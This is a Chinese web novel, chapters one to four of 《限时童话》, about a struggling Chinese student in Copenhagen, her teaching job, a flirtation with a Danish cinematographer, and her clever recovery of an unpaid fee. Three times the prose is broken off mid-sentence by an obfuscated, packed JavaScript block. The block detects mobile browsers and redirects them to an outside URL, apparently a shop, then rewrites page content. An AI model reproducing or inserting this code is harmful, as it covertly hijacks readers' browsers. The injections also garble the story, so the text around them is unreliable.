《限时童话》 1. 第一章 夏至,北半球一年中白昼最长的日子。 在北纬55.68度的哥本哈根,这天的日照时间达到了17小时32分钟。 龙秉月对光线敏感,无奈立夏以来手头愈发拮据,没有钱换遮光窗帘,只好默默忍耐着清晨五点自然醒的日子。 漫长的白天仿佛把人带回中学时代,像期盼晚自习下课铃一样期盼黑夜。 以为时针转了一圈的时候,它才刚刚指向正午十二点。 “不是吧,你就吃这么点?还嫌自己不够瘦啊。” 室友喻琳的起床时间到了。她从房间出来,边打哈欠边在餐桌边坐下,开口的同时还戳了戳龙秉月的小臂,那是一点脂肪都没有。 龙秉月手里拿着吃了一半的三明治,随着嘴巴细嚼慢咽,一侧脸颊嘟了起来,吃个饭都能看得人心旷神怡。 她没着急为自己辩解,慢悠悠喝了口牛奶润嗓子,然后才说:“我不是我没有,我只是今晚讲课要穿……” “你又在TooGoodToGo上买剩饭?”眼尖的喻琳看到了三明治包装上的711便利店标识,打断道。 “怎么能叫买剩饭呢,我这是为环保做贡献好嘛。” TGTG是欧洲地区的惜食平台,商家当天没卖完的食物,晚上会放到平台上打骨折卖盲盒套餐,不然卖不完也只能丢掉。 在上面买东西不一定代表生活拮据,然而以前不买,最近消费降级到几乎天天买,就很难在同一屋檐下的人面前打肿脸充胖子了。 喻琳是个直性子大小姐,见不得朋友受委屈,在软硬兼施下终于让龙秉月承认:“是有个甲方结账晚了,但是没关系,这周应该就到账了。” “真的?”喻琳有点怀疑,拐弯抹角道,“那你拿到钱之前都跟我一起吃呗,我现在就点外卖。” 说着,她打开外卖平台,放在两人中间一起看。 龙秉月把她手机推回去:“我刚话没说完……今晚要给学生讲中式服饰,我得穿旗袍,不能吃太多。” 根本原因还是自己能撑过去,就不想麻烦别人。 而喻琳一拍脑门,又有了新的主意:“对了,你是不是可以搞个贫穷留学生旗袍美女自强吃剩饭直播,底下打赏链接就叫Buymeasandwich。这在国内可能饱和了,在欧洲没准能红。” 龙秉月“噗”地一声笑出来:“你这是叠buff呢。真没到那个地步啦,放心,我能搞定甲方,好日子很快回来。” 内心其实在暗戳戳地骂罪魁祸首:她不能管家里要一分钱,也不能在网上露脸,归根结底是因为——她那控制欲极强的亲爹。 孩子不听话怎么治?断她所有的路! 她远赴丹麦留学,就是为了脱离掌控,证明自己不需要依靠家庭、依靠父亲、依靠父亲计划中的联姻。 只是一个甲方暂时拖欠而已,至少下个月15号她能准时收到中文学校的兼职工资。 到时候就好了。 一个自我安慰的万金油句子,让人抓住虚无缥缈的希望。 - 喻琳洗漱完回到客厅,龙秉月已经吃完了,正在洗杯子。她等外卖无聊,刷起学生公寓的群组来。 “啊——”喻琳突然拍桌惊呼,“月宝,你有没有看到咱们公寓的公告?” “嗯?怎么了?”龙秉月擦干手上的水,走到她身旁坐下,视线落在她手机上。 瞳孔地震—— 【今早有多名住户报告自行车遭窃,公寓管理员已报警。请同学们尽快确认个人自行车情况,若丢失则立即上报。】 “怎么会这样,车上刻了编号也没用?”龙秉月拧紧眉头,“咱们可别这么倒霉,我下楼看看。” 事不宜迟,她作势站起来,却被喻琳拉住:“我跟你一起。” “你不是还有外卖吗?就留在这儿看家吧。” 在丹麦,每辆自行车都刻有独一无二的编号,丢失后可以登记上报。买车的人也可以事先到网站上查询编号,避免买到被盗的车辆。 龙秉月当初买的二手车,交易时专门查询了编号,确认不是被盗车,还觉得美美的很安心,不愧是高福利国家。 结果呢,仍然没能逃脱被偷走的命运。 还偏偏在她手头最紧的时候。 屋漏偏逢连夜雨。 焦急地出门,绝望地归来。喻琳一看到她的表情,不用问就什么都明白了。 龙秉月耸耸肩摇摇头,却没有太多时间消化悲伤,赶回房间换衣服、化妆,准备下午去上班讲课。 她在丹麦读研学的是传媒,但本科就读于汉语国际教育专业,如今为了多赚钱,又回归了老本行:在语言学校教老外中文。 六月到八月的暑期,留学签证的打工限制从每周20小时放宽到了每周37小时,对她很友好。 学校的课程有两种,一是中文语言教学,二是中国文化介绍。 前者分为不同级别,她带的是有一定基础的中级班,主要以中文讲授,辅以英语;后者则对学生的中文水平没有要求,英文授课,按次收费,任何感兴趣的人都可以报名听讲。 丹麦人英语大多说得和母语一样溜,况且哥本哈根这样的国际都市住着众多不同国家的人,是以龙秉月能凭借英语能力找到工作。 当然,个人的努力同样不可忽视——比如,她会为了讲服饰文化而亲自穿旗袍。 龙秉月从卧室出来的时候,喻琳正在吃外卖,却顿时感觉嘴里的饭不香了。 眼前人一袭红色旗袍,化中式古典妆容,冷白皮、水弯眉配大红唇,美得典雅。头发只是简单地盘在脑后,已然韵味十足。 “天哪,天哪天哪天哪,这是去年万圣节惊艳全场的那身吗?” “是呀,我只有这一套。真是谢谢偷车贼了,不骑车就免去了带到办公室换衣服的麻烦。”龙秉月话中有自嘲,也有乐观。 喻琳给她比了个大拇指:“你的心态是这个。” “可不是嘛,而且车丢了之后,就不用再担心车丢了。” 龙秉月笑着挥挥手,出门上班。 看似一口歪理乐观哲学家,实则烦恼地铁票太贵的真穷人。 不过,哥本哈根地铁站是开放式的,上车不用过闸机。买不买票,刷不刷卡,全凭自觉。 两台柱式刷卡机并立在站台上,顶部圆形的识别器发出幽幽蓝光,犹如一双眼睛盯着乘客。 龙秉月一点一点挪动步子,一点一点纠结着要不要逃票—— 起步价24克朗(和人民币汇率大约1:1),那是她钱包的不可承受之重。 但若被查票员抽查到,则要面临750克朗的罚款,那更是灭顶之灾。 原来人在穷途末路的时候真的会丧失一些道德感,趋利的本能却不会变。 龙秉月心里一惊,她竟然有了逃票的想法,而内心阻止的声音竟只是源自怕罚款。 卸下高贵的伪装、独立不求人的表面,直面赤裸裸的自我,如此脆弱。 又如此复杂。 伸出左手在蓝眼睛上刷卡,别过头看向右侧空旷的铁轨,余光还是瞟到了:余额66。 此时此刻,中文语境下代表“大顺”的数字在异国显得尤为刺眼,不过是在提醒她,这点钱只够你今天往返一次哦。 她却没有分心想太多。 露天站台上的风吹来海的湿气,不远处的土丘上风车呼呼转动。安徒生笔下的磨坊风车不断变大、变多,变成风力电场里排排坐的白色大风车。 长大的她明白,连童话人物都不是非黑即白、非善即恶的,遑论她这个真实的人。 她可以战胜本能,由自己的选择,来定义自己是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634399|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 - “下午好,龙老师。” “下午好,Dragon老师。” 下午的课是中级汉语,学生都有中文基础,自然知道“龙”的含义,第一次课上听完龙秉月的自我介绍,便纷纷感叹她的姓氏“太酷了”“好霸气”。 然而,身高163的她在高大的丹麦人中间,娇小可爱,一点也不霸气。 只能靠清冽的气质挽回一些教师尊严。 好在半数学生都是没她高的华人小孩,被移民躺平国还要卷的家长送来上暑课,学习中文读写,不忘祖国文化。 另外一半,形形色色的人,各个年龄段都有,退休老人也不少。 她印象最深的是一个叫伊莎贝拉(Isabella)的中年女人。 说是中年,其实她不知道人家的岁数,学生资料上不会列这种隐私信息。 伊莎贝拉看起来三十多岁,气质高贵,穿着考究,低调中透出隐隐的奢华。本人却完全没有贵妇做派,甚至不像一般北欧人那样通常面无表情,而是笑对每个人,随和得像是下一秒就要和龙秉月称姐道妹。 今天的伊莎贝拉也毫不吝惜自己的夸奖:“哦,宝贝,你这身真是让我移不开眼!今晚要去时装秀砸场子吗?” 她用英文赞美,龙秉月笑眯眯回以丹麦语的谢谢“Tak”,然后邀请道:“今晚也在这里呀,讲中国传统服饰,喜欢就来听吧~” “当然,我可是龙老师的头号粉丝!我还要带人一起来。”伊莎贝拉调皮地挤了挤眼睛,小动作显得她更年轻了。 龙秉月没来得及好奇她会带谁,课后其他学生也找上来,她不能厚此薄彼。 可是到了晚上的课,她环视教室几圈也没看到伊莎贝拉,只好按下心中疑惑开始讲课。 直到课程过半,伊莎贝拉才姗姗来迟。 那时她正介绍到宫廷婚礼服饰,PPT上图片展示着清朝的“龙凤呈祥”婚服。 绣有金龙凤同合纹的红色皇后礼袍,和她身上的红色旗袍交相辉映。不同时代的美交织,反而相得益彰。 伊莎贝拉轻轻敲门,对大家抱歉:“不好意思,我和儿子吃饭耽误太久了。” 什么,儿子? 自己喜欢中国,所以从小就带着孩子来了解中国文化吗…… 龙秉月抬头,以为会看到和下午那些华人小孩同龄的男孩。 不料是个头顶快到门框、目测至少一米九的成年男人。 黑色短发微卷,似乎才随意揉过,却不显凌乱;古希腊雕塑一般的脸写满了风情,透过黑色钻石耳钉在放电。 她看向他,他也看向她。 典型的欧式大双眼皮下,深邃的橄榄绿眼瞳闪烁着谜一般的情绪,看得着猜不透。 哥本哈根的夏至,日落时刻接近十点。现在九点,明明已是夜晚,却毫无夜晚的气氛。 背靠阳光,男人身穿深V领的黑色丝质衬衣,贴身设计显出宽肩窄腰的身材,胸口大片浅古铜色皮肤裸露,宝石项链闪耀着光芒。 脖颈上黑红金三色相间的丝巾飘在一侧,红是旗袍的红,金是投影上绣样的金。 单手插兜,姿态慵懒又好似刻意为之,像是直接从T台走到了这里,夺下中国老师的主场。 等等,伊莎贝拉是不是下午才说过,“去时装秀砸场子”? 莫非她儿子就是模特。 儿子在门口定了一瞬,随即跟着妈妈到后面落座。 忘记关门的人移开后,教室对面的高楼玻璃幕墙显露出来。熔金落日映在上面,阳光被分割成不规则的小块,散落在格子里。 像各个阶段的日食一齐洒上去,有大有小,凝成一朵金色太阳花。直至夕阳本身映照不到的地方,只余琥珀色晚霞。 也像梦境侦探化身夕阳,在梦里照镜子。 2. 第二章 In the mood 伊莎贝拉五十岁提前退休,却偏偏闲不住。 某天,突然对华裔老公和一双儿女宣布:我要系统学习中文!不能做这个家里唯一说不囫囵中文的人。 她年轻时就已精通多门欧洲语言,婚后也日渐习得一些中文,自认为掌握一门外语不在话下。小小中文,轻松拿捏。 结果听了两天课,铩羽而归——中文比想象中难太多了吧。 什么“两个字是三个字”?“一个半小时是三个半小时”? 上帝啊,她数学和逻辑也一起不好了。 好在,好在她遇到了经验丰富、非常会教的龙老师,小小身体里蕴藏着大大能量。 于是她不仅上语言课,连龙老师的所有中国文化课都一并报了名。 也好在,儿子最近没有拍摄项目,可以随意使唤,每天接送自己上下课,不用自己奔波。 今天是儿子第一次进来这所中文学校。 当然,是被她拽来的。 不扛摄影机的日子里,安宴经常窝在家里的影音室。 那天伊莎贝拉进来的时候,他正好在看一部中国古装剧。 “诶,你喜欢这种啊?”伊莎贝拉惊讶道,顺势提出,“我们下周有节课刚好讲中国传统服饰,你和我一起去听嘛。好不好,我的小宝贝。” 安宴想都没想:“我可以拒绝吗?” “当然可以,人人都有拒绝的权利。”伊莎贝拉一副很好说话的样子,但她顿了顿又道,“所以我拒绝你的拒绝。” “……” 没办法,自己的妈妈,只能宠着咯。 可安宴的确不那么想上课,说真的,要是感兴趣他会选择看视频、听网课,而不是傻傻坐在教室里,不能暂停、快进或关闭。 于是他灵机一动,当晚约了家上菜超慢的餐厅,硬生生让两人迟到一个多小时。 跟在急匆匆的妈妈后面,他面上不显,内心偷笑很大声。 通往教室的走廊上,落日余晖从对面大楼的玻璃幕墙照映到脚下,衬得他心情更好了,脚步都不由得欢快起来。 到教室门口却是一顿。 投影上,金色图案点缀着红色华服;投影前,曼妙女人身着旗袍,尽显风姿。 她循着伊莎贝拉的话语望向他,红唇微启,打量的黑眸里写着惊讶。一缕发丝从盘起的发髻脱逃,划过微微上翘的桃花眼角,垂坠在玲珑小巧的耳旁。 却仿佛化作一支箭,朝他射来。 感官无限放大的时候,时间会无限变慢。 安宴想起前些日子在影院看到的《花样年华》海报。 在当今欧洲,这是最受欢迎的一部王家卫电影,甚至说是最受欢迎的中国电影都不为过,时不时就会重映。 海报右上角,苏丽珍身穿红色旗袍侧卧,微微低头,目视前方;周慕云俯身在她膝前,左手覆上她的脚腕,头偏向左,眼眸低垂。 高饱和度正红底色上印着双语片名,金色颗粒质感的衬线体大字铺满海报: 「INTHEMOODFORLOVE花樣年華」 英文片名的意思是,正好想爱。 此刻,面前和身后都是金红交织,同色没有相斥,反而引得他颈上金红相间的丝巾紧了一下,扼住呼吸。 安宴克制着拼命想要松动的表情,走到伊莎贝拉旁边坐下。学生理所应当地看着老师。 以为自己刚才表现得足够淡定,却忽然发现。 糟糕,门忘记关了。 - 一堂课两个小时,七点半到九点半。 一般来说,渐入佳境后,龙秉月都会感觉课越上越快,不知不觉就到点了,讲得意犹未尽。 今天却截然相反。 后半小时不断被拉长,再拉长。 时间线上多出了若干新的锚点,好比视频播放器进度条上的标记打点,显示出剧情密度。 大学的教育理论课讲过,教师的眼神交流可以传递积极的情绪,提高学生的注意力。龙秉月也一直是这么做的。 每当视线扫过学生,都会捕捉到一束灼灼目光。 伊莎贝拉的儿子坦然地和她对视,大大方方,丝毫不避。带一点漫不经心,一点若有所思。 大手托腮,修长的食指有节奏地敲着脸颊,另一边胳膊横放在桌上。托腮的手稍微离开脸十厘米,就是标准的中国小学生课堂举手姿势。 搞得龙秉月老担心他突然举手捣乱。 再怎么说人不可貌相,他这副打扮也不咋像正经上课的风格,八成是拗不过妈妈才来的。 直到PPT翻到最后一页,她才悄悄松了口气。 教室的门再度打开,外面天色变暗,玻璃幕墙上深蓝取代橙黄,偶有开灯的房间,闪耀出星星点点的白。 龙秉月在门口和学生们一一道晚安,而今天最后进来的两位学生,也在教室留到了最后,不知道在座位上聊些什么。 安宴低声对伊莎贝拉说:“你下楼抽烟吧,我跟老师聊几句。” 伊莎贝拉以为他果真对中国传统服饰有兴趣,得意道:“我就说吧,你喜欢。知子莫若母。” 安宴不置可否,顺手正了正丝巾,等龙秉月和伊莎贝拉也互道过晚安,才慢悠悠晃到她面前。 这次没忘记把椅子推回桌子下方。 龙秉月已经切换到下班状态,就等着赶紧回办公室穿外套。 毕竟,不到20度的夜晚,教室人走气凉,她穿短袖旗袍是真的冷。 她稍微揉搓了下手臂,就被哆啦安梦注意到,变出来一件西装外套:“龙老师需要吗?” 看到她睁大双眼,原本欲将道别的轻松神态定格住,他以为自己突兀了,又补充道:“我是伊莎贝拉的儿子,安宴。” 其实话语内容没什么,绅士做派,龙秉月心里只有感谢,不觉得冒犯。 她感到不可思议的是—— 这个丹麦人操着一口流利的中文在和她讲话,甚至还有个中文名? “谢谢你,不用啦。”她很快调整好状态,也用中文回复,“我办公室有外套。” 安宴点点头,收回递外套的手。也意识到这种情况下,他得长话短说,直入主题。 “老师,接私活吗?”语气怪勾人的。 “什么私活?”龙秉月也的确被勾起好奇心,下意识反问。 “伊莎贝拉的中文家教。她很喜欢你,我也觉得你最合适。”他靠近了一些,声音也变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634400|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得低沉,像个挖墙脚的,“报酬不会比这里低,还可以提供食宿。” 好一个令人心动的offer。连她可能问的问题都提前给出了答案。 可惜的是,“我是留学生,签证要求每周工作不能超过37小时。不好意思呀,我也很喜欢伊莎贝拉,但是没有多余的时间了。” 她轻轻地叹气,耷拉着嘴巴摇了摇头,是真在遗憾。如果伊莎贝拉要在家里学习,以后或许难在中文学校见到她了。 安宴看着她,嘴角勾起一抹微笑:“怕什么,对外就说你是伊莎贝拉的干女儿,教亲人称不上‘工作’。” 同时以退为进,递出一张名片:“你考虑好了联系我,好吗?有什么要求都可以提。当然,考虑不好也可以联系我。” 龙秉月接过,垂眸看见安宴的本名:JensAndersen。 按照丹麦语发音,读作宴斯·安诺生。 常见的白人姓氏,不止丹麦,很多欧美国家都有。唯丹麦语独特,这里d不发音,和其他语言的“安德森”不同。 这个童话国度最出名的一位Andersen,在中国家喻户晓,而他的姓氏通常被译作:安徒生。据推测是民国时期依照方言译的。 似是猜到她在想什么,抑或被问过多次同样的问题,安宴再次提前解答道:“和童话作家没有亲缘关系,让你失望了。” 龙秉月笑了。 在有“攀关系”文化的中国,恐怕自恋的人会说:“我姓孔,孔子是我老祖先”,或者“我也姓龙,咱们八百年前是一家呢!” 他倒是反其道而行之。 视线下移,第二行小字是“Cinematographer”,电影摄影师。 原来他不是模特,不是被拍的人,而是拍别人的人。艺术家这副打扮,也合理。 名片设计简洁,正面没有其他文字信息,背面同样是两行,印着手机号和电子邮箱。 安宴不耽误她时间,先行离去,走到门口又扭过头来,语言切换到英文:“对了,找你是我自作主张,伊莎贝拉还不知道。我不想她天天奔波……” 顿了一下,“还总要带上我。” 真是孝顺的好大儿。 看来之前猜测正确,他是拗不过妈妈才来的,本人不一定对课程内容感兴趣。 但这一口字正腔圆的中文是怎么回事? 龙秉月带着疑惑锁上教室门,回办公室之前,习惯性地从五楼走廊的窗户望下去。 高挑的人影从楼里走出,已经穿上了外套。伊莎贝拉摁灭烟头,又从烟盒里抽出新的一支,朝他勾勾手。 原来是烟鬼伊莎贝拉。 龙秉月不意外。在这里生活快一年,街头随处可见女性抽烟,体感比男性烟民多。起初还有点文化冲击,渐渐就习惯。 安宴从口袋里掏出打火机,动作熟练地给伊莎贝拉点火,自己却没抽。 就在放下打火机的同时,仿佛有心灵感应一般,他回眸望向五楼。 距离有些远,龙秉月看不清他的表情,却生出偷窥被抓的慌张,连忙后退几步。 心情平复才后知后觉,走廊窗户已经关上,而上面装的是单向玻璃,外面看不到里面。 3. 第三章 回家的地铁上,龙秉月把安宴的联系方式存入手机,又打开浏览器,在搜索引擎上检索他的名字,JensAndersen。 第一条结果就是他本人的百科页。 有百科,看来不简单?但也不是没可能是他自己创建的条目。 【……是丹麦电影摄影师,毕业于法国电影学院LaFémis摄影专业,其担任摄影指导的作品曾入围柏林、洛迦诺、马赛等国际电影节。】 手指向上滑动屏幕,来到参与的作品列表。 五年职业生涯,两部电影长片,七部短片,两部电视剧的其中三集,五支MV。 挺高产,但是隔行如隔山,何况还是外国的。 对她来说,这些作品都太冷门了。 简介里没有出生年月,但他科班出身,可以推断最早的作品来自大学高年级。这么看,现在应该25岁左右。 龙秉月心情有些复杂,不知道该觉得他年龄大还是小。 说他大吧,被她当作三十岁女人的伊莎贝拉有个这么大的儿子,是够惊人的;说他小吧,人家也确实是正青春。各有各的道理。 点左下角后退到搜索引擎,下面的结果是IMDb和几个电影节网站。不用猜,点进去是作品介绍,他顶多出现个名字。 她失去了探究的兴趣,按下标签页右上角的叉。 地铁无人驾驶,她站在车头,透过窗户看到天空只余地平线尽头的一丝光亮,疾驶的列车像在追赶那道光,追赶时间。 她也在追赶时间。 不对,应该说是被时间追赶。 学生公寓到期的时间,8天;下一次发工资的时间,23天;照目前进度现金用尽的时间,15天。 某甲方已经消失的时间,3天。 【戚老板,打扰啦,我想确认一下酬劳支付情况~我们之前约定的是上周支付,但是我至今没有收到,可以麻烦你告诉我一下进展吗?谢谢!】 【Hello在吗?看到了请回复,如果遇到困难也可以说一声的。】 【有问题我们可以沟通,请不要玩消失。好吗?好的。】 不好。 回看这三天给戚星宇发的微信,龙秉月的大拇指不自觉摁紧了手机屏幕,像是把屏幕当作甲方的脸一般。 亏她一开始还真情实感担心过他会不会出事了。 谁知道昨天用他之前给的美国手机号找到了他的instagram,发现人家24小时内还更新了快拍呢。不过怕留下痕迹,她没点进快拍看。 龙秉月的脸色沉了一沉。再抬头,最后一丝阳光也沉入地下,夜幕彻底降临。 踏着清冷的月色从列车下到地上二层的露天站台,猛然一阵夜风吹来。她紧了紧外套,逆着风出站下楼,往公寓的方向走。 风来得急去得也急,可是平息之后,仍觉额前有强风吹拂。 不知怎的,她脑中浮现了去年秋假去巴黎旅行时,在卢浮宫欣赏过的一幅油画。 普吕东的《驱除罪恶的正义与复仇之神》。 圆月之下,罪犯掠夺钱财,飞在空中的正义和复仇女神紧追不放。 那时她手头尚还宽裕,经得起短途跨国旅行,有闲心和耐心徜徉在美术馆,听语音导览介绍画作表达的思想:多行不义必自毙,公正的审判终会降临。 然而在现实里,女神不会乘风而来,帮她审判消失的甲方、讨回应得的报酬。 龙不是正义的化身吗?她只能自己做自己的女神。 - 时间不早,天也黑了,挨过漫长的一天等来期盼的夜晚,却没有苦尽甘来的实感。 伴随着钥匙在锁孔中转动的咔嚓声,龙秉月想,也许她不是期待黑夜,只是想给白天一键加速。 喻琳留了客厅的灯,听她卧室传来的声音,应该是在打游戏,和她往常一样。 龙秉月放下包后,先去冰箱拿牛奶——这里牛奶量大便宜,而且很多留学生坚持喝后都再发育长高了——却发现冰箱门上贴着一张纸条:“月月宝贝,我水果买多了,帮我解决一些!mua” 一时愣怔住。 深呼吸后才打开冰箱门,里面琳琅满目:香蕉、葡萄、西瓜、蓝莓、车厘子…… 买多?她除非天天打游戏没空吃饭只吃水果,才能勉强称得上没买多。 天哪,该死,她必须赶快把钱要回来。 回到卧室,龙秉月从手腕上取下皮筋,快速地扎起头发,进入战斗姿态。 她再度点进戚星宇的ins,寻找蛛丝马迹。 这人是个美国留子,之前在留学群里找人帮忙润色英语论文,被同群的朋友顺手转发给了她。 他要得急、开价高,还预付10%,需要赚钱的她欣然接受。 不料高价竟是受气费,前提还得是成功要到钱。 龙秉月把他发在ins上的内容拿到微博和小红书搜索,通过一个小众歌手的演出帖子成功锁定到他的小红书账号。 和ins上同样的合照,昵称是个星星的表情符号。进到个人主页,更加确定是他,每天记录精彩生活,毫不设防的样子。 她不禁自言自语道:真是搞笑,大家都是伴随着互联网成长起来的Z世代,你在网上留下这么多踪迹和个人信息,还想欠钱装死。 我,和家里斗智斗勇的消失学十级专家龙秉月,马上不就利用反向技能把你揪出来了吗! 仔细看完戚星宇发的东西和底下互动,龙秉月做出判断:他是一个爱慕虚荣的人,玩社交媒体不是为了变现,而是为了向朋友显摆。 显摆什么?比如家境,比如成绩。 他肯定害怕朋友知道,他英语学术写作没那么好,论文语言是找人润色过的。 她不想直接挂人,和他起正面冲突,还是要用更巧妙一些的方法,让他主动从装死中复活。 公寓卧室是落地窗的设置,占据了半面墙,窗外则是狭窄到只有三十厘米宽的小露台和栏杆。 对龙秉月来说,散步有利于整理思绪,便拉开窗帘打开窗户,吹着夜风来来回回地走。 她在学生公寓的八楼,正对面是五层高的居民楼,那里的阳台设计成了培养皿的模样,一个个突出来的圆形半开放透明空间,在夜灯的照射下尤为诡异。 而它左右两侧的居民楼又各自是不同的风格,高低也各异,一起奇怪又和谐地并存着。 生活中没那么多茅塞顿开。她低头望着“培养皿”,不断头脑风暴,在手机上记下各种点子,整理成思维导图,谨慎地确定了方法。 现在对手在明她在暗,机会可能只有一次。 套路戚星宇,且不给他时间犹豫—— 龙秉月用丹麦手机号,在小红书注册了个小号,叫“七星留学论文辅导”。 先拿随便找点内容,发了几篇帖文,《如何高效写essay,看这篇就够了》《留学生essay常用格式,码住!》之类的,做做样子。 下一步是“拉客”。 1.选择图片:戚星宇找她润色论文聊天记录截图(打码但看得出头像配色版),润色前后的戚星宇论文段落对比截图。 2.添加配乐:《恭喜发财》 3.填写标题:美国留学|是谁论文全A?是我的学生! 4.添加正文:自卖自夸+艾特戚星宇以及他评论区经常互动的用户+咨询请私[心]哦。 完美,发布。 凉爽的夜,手心却开始出汗。龙秉月对着“培养皿”许愿,但愿戚星宇早点看到,产生危机感。 - 洗完澡出来,手机上多了几个微信未接电话。 都来自戚星宇。 电话之间还夹杂着“拍一拍”和数条消息: 【姐,有事好商量】 【姐,你是我爹】 …… 龙秉月坐到电脑桌前,几滴水珠从毛巾包裹着的发丝间滴落。一手随意地拿抽纸擦了擦,另一手翻看微信消息,撇撇嘴:现在轮到你着急了吧! 随后打开吹风机,慢条斯理地吹头发,先晾他一会儿再说,让他也体会一下联系不到人的心情。 在吹风机的轰鸣声中,她听不到来电的铃声,只看到他头像一次次跳出来——头像竟然是一只小猫咪,真够装的。 最后,在她终于接通后,他还要找拙劣的借口:“不好意思姐,我手机前几天掉水里了,备用机没登过这个号,国外验证麻烦所以才耽搁了,对不起啊。” “别说这些有的没的了,一句话,能打钱吗?” “能能能,马上就能,是五千对吧姐?” 龙秉月手指勾着头发转圈圈,思考了须臾:“我做人讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634401|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚信不坑你,尾款是四千五,但你多给点当利息,哦不违约金,我也不会拒绝的。” “那个,姐,小红书……” “等你转完账私聊道个歉,保证不再当老赖,我就删咯。” “嗨呀不是,我这不是手机坏了……” 懒得再浪费时间听他狡辩,龙秉月直接挂断电话。在这件事上已经耗费足够多时间精力,好在结果是满意的。 她感到虚脱,靠在电脑椅的靠背上,仰头慢悠悠转了一圈。 视线再回到手机上,支付宝已经提示五千元到账。转账留言:“好姐姐大人不记小人过”。 讨薪成功! 事情进展比预期中还要顺利。龙秉月想,没准中午看到的“66”数字真是好运象征。 ——确实好运,一次就成功。但这好运也离不开努力和行动果决。 口袋里有了钱,人就有了底气。这些钱足够她花到中文学校发工资了,那么,也就没必要在超时工作的边缘试探,考虑要不要接家教offer。 她轻轻哼着歌,在通讯录里找到安宴,赶在日期跳到第二天之前,给他发拒绝短信。 斟酌措辞,打打删删,在网上搜拒信模板,最终拼凑出一封标准的英文版拒信。 【亲爱的安诺生先生,你好,我是龙秉月。 非常感谢你提供的机会,我感到十分荣幸。然而,经过深思熟虑,我决定不接受这份工作。因为我既不能冒险违反签证规定,也不能没有责任心地辞去学校职位,更不能在备课时间不充分的情况下草率地当伊莎贝拉的老师,带来不好的教学体验。 自然,我很喜欢伊莎贝拉,珍惜在学校里和她的每次互动,也愿意在九月恢复自由身后担任她的家教,如果到时她还需要的话。 感谢你的理解。祝你今日愉快!】 好难,比拒绝不打算上的研究生学校offer难,比拒绝向自己表白的人难。因为拒绝后两者后,她都无需再面对。 但她明天下午就又要见到伊莎贝拉了。不知道安宴有没有告诉她。 人有时候就是这样,越觉得一件事难面对,反而会越频繁地关注它。 她一边用电脑查资料,一边注意着短信;关上窗户,看一眼短信;刷完牙躺到床上,说再看一眼短信,结果看了好几眼。 直到准备闭眼的时候,发出的信息从“已送达”变成“已读”,代表对方正在输入的“…”气泡在对话框左侧闪动。 闪动又消失,再闪动再消失,循环往复,却迟迟不见信息发过来。 龙秉月在困意和好奇心的驱使下失去耐心,发了一个问号。 这下对方秒回了:【在等我?】 她有点被戳穿的尴尬,又有点“明明是你在搞我心态”的不满,最后汇聚成无语:【……】 安宴:【下次见面要不要我帮你装个能打字的输入法。】 龙秉月:【上面一大段不是字嘛。】 安宴:【那是你打的?】 龙秉月做贼心虚但:【当然。】 安宴:【谢了,今天最后半小时我是挺愉快的。】 什么意思? 龙秉月挠了挠头,回看上面的短信记录……“下次见面”? 不对,“祝你今日愉快”——发送的时候今日只剩半小时了啊啊。她光顾着检查语法和语气,忘记了时间问题,这应当是白天的祝福。 不对不对,虽然她的结束语是有点敷衍、相当套路,但重点不是拒信吗?安宴重点完全歪了啊!还想把她也带偏。 她试图把话题拉回正轨:【那就好!本来我拒绝还有点不好意思的,现在知道你愉快我就放心了(emoji笑)】 …… 醒来已是八小时后,没有关灯反而避免了五点被自然光闹醒,睡了夏天以来最久最舒服的一觉。 龙秉月很恍惚,以为自己只是等回复时不小心睡着了一会儿,一看时间吓一跳。 手机没锁屏,还停留在安宴的短信界面,他后面又回了几条。 她侧躺在床上,捧着手机笑着读完,打算回时又转念一想,人家可能还没醒呢,晚点再说吧。 顺手下拉通知栏看看有没有其他消息。 等等……这是什么??? 【交易提醒:你有一笔3999元的支出,点此查看详情。】 4. 第四章 龙秉月第一反应是她遇上高明的诈骗手法了,可这又的确是支付宝本宝的提醒,她最近也没有接触陌生人、点开陌生链接…… 紧张地点击查看—— 【付款方式:亲情卡】 【交易对象:苹果电子产品商贸有限公司】 亲情卡……对了,这是她大三那年送给妈妈的生日礼物。 那时候她课余在国内本科学校附属的语言机构教来华的外国人中文,当老师赚了不少钱,就给妈妈开了每月五千块的亲密付。 但妈妈也就最开始试用了那么一次,买了几百块的东西,之后就说她自己赚的钱还是自己花,家长不缺这点钱,心意到了就好。 以至于搁置了快三年,她都忘了还有这茬了。 此刻的心情很绝望。在最缺钱的时候,几乎不联系的家人把好不容易拿到手的酬劳一口气几乎全花掉了……这钱她都还没捂热呢! 当然妈妈很好,她对妈妈没有什么意见。妈妈只是太依赖爸爸了,而爸爸会通过妈妈来控制她。 